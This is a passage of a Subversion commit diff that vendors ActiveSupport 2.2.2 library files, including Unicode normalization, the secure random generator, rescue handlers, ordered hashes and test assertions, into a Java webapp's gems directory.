+            if HANGUL_SBASE <= cp and cp < HANGUL_SLAST
+              sindex = cp - HANGUL_SBASE
+              ncp = [] # new codepoints
+              ncp << HANGUL_LBASE + sindex / HANGUL_NCOUNT
+              ncp << HANGUL_VBASE + (sindex % HANGUL_NCOUNT) / HANGUL_TCOUNT
+              tindex = sindex % HANGUL_TCOUNT
+              ncp << (HANGUL_TBASE + tindex) unless tindex == 0
+              decomposed.concat ncp
+            # if the codepoint is decomposable in with the current decomposition type
+            elsif (ncp = UCD.codepoints[cp].decomp_mapping) and (!UCD.codepoints[cp].decomp_type || type == :compatability)
+              decomposed.concat decompose_codepoints(type, ncp.dup)
+            else
+              decomposed << cp
+            end
+          end
+        end
+
+        # Compose decomposed characters to the composed form.
+        def compose_codepoints(codepoints)
+          pos = 0
+          eoa = codepoints.length - 1
+          starter_pos = 0
+          starter_char = codepoints[0]
+          previous_combining_class = -1
+          while pos < eoa
+            pos += 1
+            lindex = starter_char - HANGUL_LBASE
+            # -- Hangul
+            if 0 <= lindex and lindex < HANGUL_LCOUNT
+              vindex = codepoints[starter_pos+1] - HANGUL_VBASE rescue vindex = -1
+              if 0 <= vindex and vindex < HANGUL_VCOUNT
+                tindex = codepoints[starter_pos+2] - HANGUL_TBASE rescue tindex = -1
+                if 0 <= tindex and tindex < HANGUL_TCOUNT
+                  j = starter_pos + 2
+                  eoa -= 2
+                else
+                  tindex = 0
+                  j = starter_pos + 1
+                  eoa -= 1
+                end
+                codepoints[starter_pos..j] = (lindex * HANGUL_VCOUNT + vindex) * HANGUL_TCOUNT + tindex + HANGUL_SBASE
+              end
+              starter_pos += 1
+              starter_char = codepoints[starter_pos]
+            # -- Other characters
+            else
+              current_char = codepoints[pos]
+              current = UCD.codepoints[current_char]
+              if current.combining_class > previous_combining_class
+                if ref = UCD.composition_map[starter_char]
+                  composition = ref[current_char]
+                else
+                  composition = nil
+                end
+                unless composition.nil?
+                  codepoints[starter_pos] = composition
+                  starter_char = composition
+                  codepoints.delete_at pos
+                  eoa -= 1
+                  pos -= 1
+                  previous_combining_class = -1
+                else
+                  previous_combining_class = current.combining_class
+                end
+              else
+                previous_combining_class = current.combining_class
+              end
+              if current.combining_class == 0
+                starter_pos = pos
+                starter_char = codepoints[pos]
+              end
+            end
+          end
+          codepoints
+        end
+
+        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
+        def tidy_bytes(string)
+          string.split(//u).map do |c|
+            if !UTF8_PAT.match(c)
+              n = c.unpack('C')[0]
+              n < 128 ? n.chr :
+              n < 160 ? [UCD.cp1252[n] || n].pack('U') :
+              n < 192 ? "\xC2" + n.chr : "\xC3" + (n-64).chr
+            else
+              c
+            end
+          end.join
+        end
+      end
+
+      protected
+
+        def translate_offset(byte_offset) #:nodoc:
+          return nil if byte_offset.nil?
+          return 0   if @wrapped_string == ''
+          chunk = @wrapped_string[0..byte_offset]
+          begin
+            begin
+              chunk.unpack('U*').length - 1
+            rescue ArgumentError => e
+              chunk = @wrapped_string[0..(byte_offset+=1)]
+              # Stop retrying at the end of the string
+              raise e unless byte_offset < chunk.length 
+              # We damaged a character, retry
+              retry
+            end
+          # Catch the ArgumentError so we can throw our own
+          rescue ArgumentError 
+            raise EncodingError, 'malformed UTF-8 character'
+          end
+        end
+
+        def justify(integer, way, padstr=' ') #:nodoc:
+          raise ArgumentError, "zero width padding" if padstr.length == 0
+          padsize = integer - size
+          padsize = padsize > 0 ? padsize : 0
+          case way
+          when :right
+            result = @wrapped_string.dup.insert(0, self.class.padding(padsize, padstr))
+          when :left
+            result = @wrapped_string.dup.insert(-1, self.class.padding(padsize, padstr))
+          when :center
+            lpad = self.class.padding((padsize / 2.0).floor, padstr)
+            rpad = self.class.padding((padsize / 2.0).ceil, padstr)
+            result = @wrapped_string.dup.insert(0, lpad).insert(-1, rpad)
+          end
+          chars(result)
+        end
+
+        def apply_mapping(mapping) #:nodoc:
+          chars(self.class.u_unpack(@wrapped_string).map do |codepoint|
+            cp = UCD.codepoints[codepoint]
+            if cp and (ncp = cp.send(mapping)) and ncp > 0
+              ncp
+            else
+              codepoint
+            end
+          end.pack('U*'))
+        end
+
+        def chars(string) #:nodoc:
+          self.class.new(string)
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/exceptions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/exceptions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/exceptions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+# encoding: utf-8
+
+module ActiveSupport #:nodoc:
+  module Multibyte #:nodoc:
+    # Raised when a problem with the encoding was found.
+    class EncodingError < StandardError; end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/unicode_database.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/unicode_database.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte/unicode_database.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,71 @@
+# encoding: utf-8
+
+module ActiveSupport #:nodoc:
+  module Multibyte #:nodoc:
+    # Holds data about a codepoint in the Unicode database
+    class Codepoint
+      attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+    end
+
+    # Holds static data from the Unicode database
+    class UnicodeDatabase
+      ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
+
+      attr_writer(*ATTRIBUTES)
+
+      def initialize
+        @codepoints = Hash.new(Codepoint.new)
+        @composition_exclusion = []
+        @composition_map = {}
+        @boundary = {}
+        @cp1252 = {}
+      end
+
+      # Lazy load the Unicode database so it's only loaded when it's actually used
+      ATTRIBUTES.each do |attr_name|
+        class_eval(<<-EOS, __FILE__, __LINE__)
+          def #{attr_name}
+            load
+            @#{attr_name}
+          end
+        EOS
+      end
+
+      # Loads the Unicode database and returns all the internal objects of UnicodeDatabase.
+      def load
+        begin
+          @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
+        rescue Exception => e
+            raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
+        end
+
+        # Redefine the === method so we can write shorter rules for grapheme cluster breaks
+        @boundary.each do |k,_|
+          @boundary[k].instance_eval do
+            def ===(other)
+              detect { |i| i === other } ? true : false
+            end
+          end if @boundary[k].kind_of?(Array)
+        end
+
+        # define attr_reader methods for the instance variables
+        class << self
+          attr_reader(*ATTRIBUTES)
+        end
+      end
+
+      # Returns the directory in which the data files are stored
+      def self.dirname
+        File.dirname(__FILE__) + '/../values/'
+      end
+
+      # Returns the filename for the data file for this version
+      def self.filename
+        File.expand_path File.join(dirname, "unicode_tables.dat")
+      end
+    end
+
+    # UniCode Database
+    UCD = UnicodeDatabase.new
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+# encoding: utf-8
+
+require 'active_support/multibyte/chars'
+require 'active_support/multibyte/exceptions'
+require 'active_support/multibyte/unicode_database'
+
+module ActiveSupport #:nodoc:
+  module Multibyte
+    # A list of all available normalization forms. See http://www.unicode.org/reports/tr15/tr15-29.html for more
+    # information about normalization.
+    NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
+
+    # The Unicode version that is supported by the implementation
+    UNICODE_VERSION = '5.1.0'
+
+    # The default normalization used for operations that require normalization. It can be set to any of the
+    # normalizations in NORMALIZATION_FORMS.
+    #
+    # Example:
+    #   ActiveSupport::Multibyte.default_normalization_form = :c
+    mattr_accessor :default_normalization_form
+    self.default_normalization_form = :kc
+
+    # The proxy class returned when calling mb_chars. You can use this accessor to configure your own proxy
+    # class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for
+    # an example how to do this.
+    #
+    # Example:
+    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+    mattr_accessor :proxy_class
+    self.proxy_class = ActiveSupport::Multibyte::Chars
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/option_merger.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/option_merger.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/option_merger.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+module ActiveSupport
+  class OptionMerger #:nodoc:
+    instance_methods.each do |method|
+      undef_method(method) if method !~ /^(__|instance_eval|class|object_id)/
+    end
+
+    def initialize(context, options)
+      @context, @options = context, options
+    end
+
+    private
+      def method_missing(method, *arguments, &block)
+        arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+        @context.__send__(method, *arguments, &block)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_hash.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_hash.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_hash.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+# OrderedHash is namespaced to prevent conflicts with other implementations
+module ActiveSupport
+  # Hash is ordered in Ruby 1.9!
+  if RUBY_VERSION >= '1.9'
+    OrderedHash = ::Hash
+  else
+    class OrderedHash < Array #:nodoc:
+      def []=(key, value)
+        if pair = assoc(key)
+          pair.pop
+          pair << value
+        else
+          self << [key, value]
+        end
+        value
+      end
+
+      def [](key)
+        pair = assoc(key)
+        pair ? pair.last : nil
+      end
+
+      def delete(key)
+        pair = assoc(key)
+        pair ? array_index = index(pair) : nil
+        array_index ? delete_at(array_index).last : nil
+      end
+
+      def keys
+        collect { |key, value| key }
+      end
+
+      def values
+        collect { |key, value| value }
+      end
+
+      def to_hash
+        returning({}) do |hash|
+          each { |array| hash[array[0]] = array[1] }
+        end
+      end
+
+      def has_key?(k)
+        !assoc(k).nil?
+      end
+
+      alias_method :key?, :has_key?
+      alias_method :include?, :has_key?
+      alias_method :member?, :has_key?
+
+      def has_value?(v)
+        any? { |key, value| value == v }
+      end
+
+      alias_method :value?, :has_value?
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_options.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_options.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/ordered_options.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+module ActiveSupport #:nodoc:
+  class OrderedOptions < OrderedHash #:nodoc:
+    def []=(key, value)
+      super(key.to_sym, value)
+    end
+
+    def [](key)
+      super(key.to_sym)
+    end
+
+    def method_missing(name, *args)
+      if name.to_s =~ /(.*)=$/
+        self[$1.to_sym] = args.first
+      else
+        self[name]
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/rescuable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/rescuable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/rescuable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,108 @@
+module ActiveSupport
+  # Rescuable module adds support for easier exception handling.
+  module Rescuable
+    def self.included(base) # :nodoc:
+      base.class_inheritable_accessor :rescue_handlers
+      base.rescue_handlers = []
+
+      base.extend(ClassMethods)
+    end
+
+    module ClassMethods
+      # Rescue exceptions raised in controller actions.
+      #
+      # <tt>rescue_from</tt> receives a series of exception classes or class
+      # names, and a trailing <tt>:with</tt> option with the name of a method
+      # or a Proc object to be called to handle them. Alternatively a block can
+      # be given.
+      #
+      # Handlers that take one argument will be called with the exception, so
+      # that the exception can be inspected when dealing with it.
+      #
+      # Handlers are inherited. They are searched from right to left, from
+      # bottom to top, and up the hierarchy. The handler of the first class for
+      # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if
+      # any.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     rescue_from User::NotAuthorized, :with => :deny_access # self defined exception
+      #     rescue_from ActiveRecord::RecordInvalid, :with => :show_errors
+      #
+      #     rescue_from 'MyAppError::Base' do |exception|
+      #       render :xml => exception, :status => 500
+      #     end
+      #
+      #     protected
+      #       def deny_access
+      #         ...
+      #       end
+      #
+      #       def show_errors(exception)
+      #         exception.record.new_record? ? ...
+      #       end
+      #   end
+      def rescue_from(*klasses, &block)
+        options = klasses.extract_options!
+
+        unless options.has_key?(:with)
+          if block_given?
+            options[:with] = block
+          else
+            raise ArgumentError, "Need a handler. Supply an options hash that has a :with key as the last argument."
+          end
+        end
+
+        klasses.each do |klass|
+          key = if klass.is_a?(Class) && klass <= Exception
+            klass.name
+          elsif klass.is_a?(String)
+            klass
+          else
+            raise ArgumentError, "#{klass} is neither an Exception nor a String"
+          end
+
+          # put the new handler at the end because the list is read in reverse
+          rescue_handlers << [key, options[:with]]
+        end
+      end
+    end
+
+    # Tries to rescue the exception by looking up and calling a registered handler.
+    def rescue_with_handler(exception)
+      if handler = handler_for_rescue(exception)
+        handler.arity != 0 ? handler.call(exception) : handler.call
+        true # don't rely on the return value of the handler
+      end
+    end
+
+    def handler_for_rescue(exception)
+      # We go from right to left because pairs are pushed onto rescue_handlers
+      # as rescue_from declarations are found.
+      _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+        # The purpose of allowing strings in rescue_from is to support the
+        # declaration of handler associations for exception classes whose
+        # definition is yet unknown.
+        #
+        # Since this loop needs the constants it would be inconsistent to
+        # assume they should exist at this point. An early raised exception
+        # could trigger some other handler and the array could include
+        # precisely a string whose corresponding constant has not yet been
+        # seen. This is why we are tolerant to unknown constants.
+        #
+        # Note that this tolerance only matters if the exception was given as
+        # a string, otherwise a NameError will be raised by the interpreter
+        # itself when rescue_from CONSTANT is executed.
+        klass = self.class.const_get(klass_name) rescue nil
+        klass ||= klass_name.constantize rescue nil
+        exception.is_a?(klass) if klass
+      end
+
+      case rescuer
+      when Symbol
+        method(rescuer)
+      when Proc
+        rescuer.bind(self)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/secure_random.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/secure_random.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/secure_random.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,197 @@
+begin
+  require 'openssl'
+rescue LoadError
+end
+
+begin
+  require 'securerandom'
+rescue LoadError
+end
+
+module ActiveSupport
+  if defined?(::SecureRandom)
+    # Use Ruby 1.9's SecureRandom library whenever possible.
+    SecureRandom = ::SecureRandom # :nodoc:
+  else
+    # = Secure random number generator interface.
+    #
+    # This library is an interface for secure random number generator which is
+    # suitable for generating session key in HTTP cookies, etc.
+    #
+    # It supports following secure random number generators.
+    #
+    # * openssl
+    # * /dev/urandom
+    # * Win32
+    #
+    # *Note*: This module is based on the SecureRandom library from Ruby 1.9,
+    # revision 18786, August 23 2008. It's 100% interface-compatible with Ruby 1.9's
+    # SecureRandom library.
+    #
+    # == Example
+    #
+    #  # random hexadecimal string.
+    #  p SecureRandom.hex(10) #=> "52750b30ffbc7de3b362"
+    #  p SecureRandom.hex(10) #=> "92b15d6c8dc4beb5f559"
+    #  p SecureRandom.hex(11) #=> "6aca1b5c58e4863e6b81b8"
+    #  p SecureRandom.hex(12) #=> "94b2fff3e7fd9b9c391a2306"
+    #  p SecureRandom.hex(13) #=> "39b290146bea6ce975c37cfc23"
+    #  ...
+    #
+    #  # random base64 string.
+    #  p SecureRandom.base64(10) #=> "EcmTPZwWRAozdA=="
+    #  p SecureRandom.base64(10) #=> "9b0nsevdwNuM/w=="
+    #  p SecureRandom.base64(10) #=> "KO1nIU+p9DKxGg=="
+    #  p SecureRandom.base64(11) #=> "l7XEiFja+8EKEtY="
+    #  p SecureRandom.base64(12) #=> "7kJSM/MzBJI+75j8"
+    #  p SecureRandom.base64(13) #=> "vKLJ0tXBHqQOuIcSIg=="
+    #  ...
+    #
+    #  # random binary string.
+    #  p SecureRandom.random_bytes(10) #=> "\016\t{\370g\310pbr\301"
+    #  p SecureRandom.random_bytes(10) #=> "\323U\030TO\234\357\020\a\337"
+    #  ...
+    module SecureRandom
+      # SecureRandom.random_bytes generates a random binary string.
+      #
+      # The argument n specifies the length of the result string.
+      #
+      # If n is not specified, 16 is assumed.
+      # It may be larger in future.
+      #
+      # If secure random number generator is not available,
+      # NotImplementedError is raised.
+      def self.random_bytes(n=nil)
+        n ||= 16
+
+        if defined? OpenSSL::Random
+          return OpenSSL::Random.random_bytes(n)
+        end
+
+        if !defined?(@has_urandom) || @has_urandom
+          flags = File::RDONLY
+          flags |= File::NONBLOCK if defined? File::NONBLOCK
+          flags |= File::NOCTTY if defined? File::NOCTTY
+          flags |= File::NOFOLLOW if defined? File::NOFOLLOW
+          begin
+            File.open("/dev/urandom", flags) {|f|
+              unless f.stat.chardev?
+                raise Errno::ENOENT
+              end
+              @has_urandom = true
+              ret = f.readpartial(n)
+              if ret.length != n
+                raise NotImplementedError, "Unexpected partial read from random device"
+              end
+              return ret
+            }
+          rescue Errno::ENOENT
+            @has_urandom = false
+          end
+        end
+
+        if !defined?(@has_win32)
+          begin
+            require 'Win32API'
+
+            crypt_acquire_context = Win32API.new("advapi32", "CryptAcquireContext", 'PPPII', 'L')
+            @crypt_gen_random = Win32API.new("advapi32", "CryptGenRandom", 'LIP', 'L')
+
+            hProvStr = " " * 4
+            prov_rsa_full = 1
+            crypt_verifycontext = 0xF0000000
+
+            if crypt_acquire_context.call(hProvStr, nil, nil, prov_rsa_full, crypt_verifycontext) == 0
+              raise SystemCallError, "CryptAcquireContext failed: #{lastWin32ErrorMessage}"
+            end
+            @hProv, = hProvStr.unpack('L')
+
+            @has_win32 = true
+          rescue LoadError
+            @has_win32 = false
+          end
+        end
+        if @has_win32
+          bytes = " " * n
+          if @crypt_gen_random.call(@hProv, bytes.size, bytes) == 0
+            raise SystemCallError, "CryptGenRandom failed: #{lastWin32ErrorMessage}"
+          end
+          return bytes
+        end
+
+        raise NotImplementedError, "No random device"
+      end
+
+      # SecureRandom.hex generates a random hex string.
+      #
+      # The argument n specifies the length of the random length.
+      # The length of the result string is twice of n.
+      #
+      # If n is not specified, 16 is assumed.
+      # It may be larger in future.
+      #
+      # If secure random number generator is not available,
+      # NotImplementedError is raised.
+      def self.hex(n=nil)
+        random_bytes(n).unpack("H*")[0]
+      end
+
+      # SecureRandom.base64 generates a random base64 string.
+      #
+      # The argument n specifies the length of the random length.
+      # The length of the result string is about 4/3 of n.
+      #
+      # If n is not specified, 16 is assumed.
+      # It may be larger in future.
+      #
+      # If secure random number generator is not available,
+      # NotImplementedError is raised.
+      def self.base64(n=nil)
+        [random_bytes(n)].pack("m*").delete("\n")
+      end
+
+      # SecureRandom.random_number generates a random number.
+      #
+      # If an positive integer is given as n,
+      # SecureRandom.random_number returns an integer:
+      # 0 <= SecureRandom.random_number(n) < n.
+      #
+      # If 0 is given or an argument is not given,
+      # SecureRandom.random_number returns an float:
+      # 0.0 <= SecureRandom.random_number() < 1.0.
+      def self.random_number(n=0)
+        if 0 < n
+          hex = n.to_s(16)
+          hex = '0' + hex if (hex.length & 1) == 1
+          bin = [hex].pack("H*")
+          mask = bin[0]
+          mask |= mask >> 1
+          mask |= mask >> 2
+          mask |= mask >> 4
+          begin
+            rnd = SecureRandom.random_bytes(bin.length)
+            rnd[0] = rnd[0] & mask
+          end until rnd < bin
+          rnd.unpack("H*")[0].hex
+        else
+          # assumption: Float::MANT_DIG <= 64
+          i64 = SecureRandom.random_bytes(8).unpack("Q")[0]
+          Math.ldexp(i64 >> (64-Float::MANT_DIG), -Float::MANT_DIG)
+        end
+      end
+
+      # Following code is based on David Garamond's GUID library for Ruby.
+      def self.lastWin32ErrorMessage # :nodoc:
+        get_last_error = Win32API.new("kernel32", "GetLastError", '', 'L')
+        format_message = Win32API.new("kernel32", "FormatMessageA", 'LPLLPLPPPPPPPP', 'L')
+        format_message_ignore_inserts = 0x00000200
+        format_message_from_system    = 0x00001000
+
+        code = get_last_error.call
+        msg = "\0" * 1024
+        len = format_message.call(format_message_ignore_inserts + format_message_from_system, 0, code, 0, msg, 1024, nil, nil, nil, nil, nil, nil, nil, nil)
+        msg[0, len].tr("\r", '').chomp
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/string_inquirer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/string_inquirer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/string_inquirer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+module ActiveSupport
+  # Wrapping a string in this class gives you a prettier way to test
+  # for equality. The value returned by <tt>Rails.env</tt> is wrapped
+  # in a StringInquirer object so instead of calling this:
+  #
+  #   Rails.env == "production"
+  #
+  # you can call this:
+  #
+  #   Rails.env.production?
+  #
+  class StringInquirer < String
+    def method_missing(method_name, *arguments)
+      if method_name.to_s[-1,1] == "?"
+        self == method_name.to_s[0..-2]
+      else
+        super
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/test_case.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/test_case.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/test_case.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'test/unit/testcase'
+require 'active_support/testing/default'
+require 'active_support/testing/core_ext/test'
+
+
+module ActiveSupport
+  class TestCase < Test::Unit::TestCase
+    # test "verify something" do
+    #   ...
+    # end
+    def self.test(name, &block)
+      test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
+      defined = instance_method(test_name) rescue false
+      raise "#{test_name} is already defined in #{self}" if defined
+      if block_given?
+        define_method(test_name, &block)
+      else
+        define_method(test_name) do
+          flunk "No implementation provided for #{name}"
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test/unit/assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test/unit/assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test/unit/assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,72 @@
+require 'test/unit/assertions'
+module Test
+  module Unit
+    #--
+    # FIXME: no Proc#binding in Ruby 2, must change this API
+    #++
+    module Assertions
+      # Test numeric difference between the return value of an expression as a result of what is evaluated
+      # in the yielded block.
+      #
+      #   assert_difference 'Article.count' do
+      #     post :create, :article => {...}
+      #   end
+      #
+      # An arbitrary expression is passed in and evaluated.
+      #
+      #   assert_difference 'assigns(:article).comments(:reload).size' do
+      #     post :create, :comment => {...}
+      #   end
+      #
+      # An arbitrary positive or negative difference can be specified. The default is +1.
+      #
+      #   assert_difference 'Article.count', -1 do
+      #     post :delete, :id => ...
+      #   end
+      #
+      # An array of expressions can also be passed in and evaluated.
+      #
+      #   assert_difference [ 'Article.count', 'Post.count' ], +2 do
+      #     post :create, :article => {...}
+      #   end
+      #
+      # A error message can be specified.
+      #
+      #   assert_difference 'Article.count', -1, "An Article should be destroyed" do
+      #     post :delete, :id => ...
+      #   end
+      def assert_difference(expressions, difference = 1, message = nil, &block)
+        expression_evaluations = Array(expressions).map do |expression|
+          [expression, lambda do
+            eval(expression, block.__send__(:binding))
+          end]
+        end
+
+        original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression[1].call }
+        yield
+        expression_evaluations.each_with_index do |expression, i|
+          full_message = ""
+          full_message << "#{message}.\n" if message
+          full_message << "<#{expression[0]}> was the expression that failed"
+          assert_equal original_values[i] + difference, expression[1].call, full_message
+        end
+      end
+
+      # Assertion that the numeric result of evaluating an expression is not changed before and after
+      # invoking the passed in block.
+      #
+      #   assert_no_difference 'Article.count' do
+      #     post :create, :article => invalid_attributes
+      #   end
+      #
+      # A error message can be specified.
+      #
+      #   assert_no_difference 'Article.count', "An Article should not be destroyed" do
+      #     post :create, :article => invalid_attributes
+      #   end
+      def assert_no_difference(expressions, message = nil, &block)
+        assert_difference expressions, 0, message, &block
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'active_support/testing/core_ext/test/unit/assertions'
+require 'active_support/testing/setup_and_teardown'
+
+class Test::Unit::TestCase #:nodoc:
+  include ActiveSupport::Testing::SetupAndTeardown
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/default.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/default.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/default.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActiveSupport
+  module Testing
+    module Default #:nodoc:
+      # Placeholder so test/unit ignores test cases without any tests.
+      def default_test
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/performance.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/performance.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/performance.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,452 @@
+require 'rubygems'
+gem 'ruby-prof', '>= 0.6.1'
+require 'ruby-prof'
+
+require 'fileutils'
+require 'rails/version'
+
+module ActiveSupport
+  module Testing
+    module Performance
+      DEFAULTS =
+        if benchmark = ARGV.include?('--benchmark')  # HAX for rake test
+          { :benchmark => true,
+            :runs => 4,
+            :metrics => [:process_time, :memory, :objects, :gc_runs, :gc_time],
+            :output => 'tmp/performance' }
+        else
+          { :benchmark => false,
+            :runs => 1,
+            :min_percent => 0.01,
+            :metrics => [:process_time, :memory, :objects],
+            :formats => [:flat, :graph_html, :call_tree],
+            :output => 'tmp/performance' }
+        end.freeze
+
+      def self.included(base)
+        base.superclass_delegating_accessor :profile_options
+        base.profile_options = DEFAULTS
+      end
+
+      def full_test_name
+        "#{self.class.name}##{method_name}"
+      end
+
+      def run(result)
+        return if method_name =~ /^default_test$/
+
+        yield(self.class::STARTED, name)
+        @_result = result
+
+        run_warmup
+        if profile_options && metrics = profile_options[:metrics]
+          metrics.each do |metric_name|
+            if klass = Metrics[metric_name.to_sym]
+              run_profile(klass.new)
+              result.add_run
+            end
+          end
+        end
+
+        yield(self.class::FINISHED, name)
+      end
+
+      def run_test(metric, mode)
+        run_callbacks :setup
+        setup
+        metric.send(mode) { __send__ @method_name }
+      rescue ::Test::Unit::AssertionFailedError => e
+        add_failure(e.message, e.backtrace)
+      rescue StandardError, ScriptError
+        add_error($!)
+      ensure
+        begin
+          teardown
+          run_callbacks :teardown, :enumerator => :reverse_each
+        rescue ::Test::Unit::AssertionFailedError => e
+          add_failure(e.message, e.backtrace)
+        rescue StandardError, ScriptError
+          add_error($!)
+        end
+      end
+
+      protected
+        def run_warmup
+          GC.start
+
+          time = Metrics::Time.new
+          run_test(time, :benchmark)
